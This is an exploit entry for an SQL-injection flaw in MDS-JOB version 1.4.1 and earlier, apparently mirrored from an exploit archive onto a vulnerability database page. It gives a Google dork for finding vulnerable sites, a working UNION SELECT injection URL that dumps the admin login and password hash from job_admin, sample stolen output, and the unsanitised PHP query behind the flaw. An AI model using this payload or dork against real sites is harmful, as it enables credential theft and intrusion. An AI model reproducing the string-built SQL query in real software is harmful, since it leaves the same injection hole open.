Lucene search
+L

MDS-JOB version <= 1.4.1 SQL-injection

🗓️ 02 Jan 2012 00:00:00Reported by EreeeType 
zdt
 zdt
🔗 0day.today👁 17 Views

MDS-JOB version <= 1.4.1 SQL-injection vulnerability in vacancy.ph

Code
# Exploit Title: MDS-JOB version <= 1.4.1 SQL-injection
# Date: 02.01.2012
# Author: Ereee
# Version: <=1.4.1
# Category:: [remote, webapps]
# Google dork: inurl:"vacancy.php?id=1"
# Tested in: web

Query:
http://localhost/[PATH]/vacancy.php?id=-1'+union+select+1,2,concat(login_admin,0x3a,pass_a dmin)+from+job_admin--+f
Result:
RnJvbnQ3Nzc=:0b70a123d1acb7edc7ab56ea86b91525
[login_in_base64:password_in_md5]

Vulnerable code in vacancy.php
########################################
if (isset($_GET['id']))
{
$id = ClearDataFromForm($_GET['id']);
$query_r = "SELECT name_razdel FROM $razdel_t WHERE id_razdel = '$id'";
$result_r = mysql_query($query_r);
$line_r = mysql_fetch_assoc($result_r);
$name_razdel = $line_r['name_razdel'];
########################################

Greetz to : forum.antichat.ru&rdot.org members



#  0day.today [2018-03-31]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Jan 2012 00:00Current
7.1High risk
Vulners AI Score7.1
17